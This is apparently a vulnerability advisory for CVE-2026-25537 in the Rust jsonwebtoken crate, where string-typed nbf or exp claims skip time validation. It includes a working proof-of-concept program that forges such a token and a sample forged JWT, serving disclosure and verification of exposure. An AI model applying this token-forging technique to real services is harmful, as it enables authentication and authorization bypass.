CVE-2026-25537
Type Confusion leads to potential authorization bypass .
A Type Confusion vulnerability was identified in jsonwebtoken, specifically within its claim validation logic. When certain standard claims, such as nbf (Not Before) or exp (Expiration Time), are supplied with an incorrect JSON type (for example, a string instead of a number), the library's internal parser marks them as “FailedToParse.” However, the validation logic treats this state the same as if the claim were "Not Present." This becomes an issue when a validation check is enabled, like setting validate_nbf = true, but the claim is not explicitly listed in required_spec_claims. In that case, the library skips the validation entirely for malformed claims, acting as though they were never included in the token. Attackers can exploit this to bypass critical time-based security restrictions, leading to potential authentication and authorization bypasses.
Identifier
CVE-2026-25537
Affected product
jsonwebtoken (rust)
Disclosed
Feb 3, 2026
Credit
Krishna Agarwal
Proof of Concept
cargo new nbf_poc
cd nbf_poccargo add serde --features derive
cargo add jsonwebtoken --features rust_crypto
cargo add serde_jsonsrc/main.rs with this:use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};
use serde::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)]
struct Claims {
sub: String,
nbf: String, // Attacker sends nbf as a String
exp: usize,
}
fn main() {
let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";
// nbf is a String "99999999999" (Far future)
// Real nbf should be a Number.
let my_claims: Claims = Claims {
sub: "krishna".to_string(),
nbf: "99999999999".to_string(),
exp: 10000000000,
};
let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();
println!("Forged Token: {}", token);
// 2. Configure Validation
let mut validation: Validation = Validation::new(Algorithm::HS256);
validation.validate_nbf = true; // Enable NBF check
// We do NOT add "nbf" to required_spec_claims (default behavior)
// We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.
// The library sees the raw JSON with string "nbf".
let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(
&token,
&DecodingKey::from_secret(key),
&validation
);
match result {
Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"),
Err(e) => println!("Token rejected. Error: {:?}", e),
}
}cargo runeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwkRemediation
Running this software?
If jsonwebtoken (rust) is in your environment, the reproduction steps above are enough to verify exposure yourself. If you would rather have the same class of bug hunted across your own stack, that is what we do as an engagement.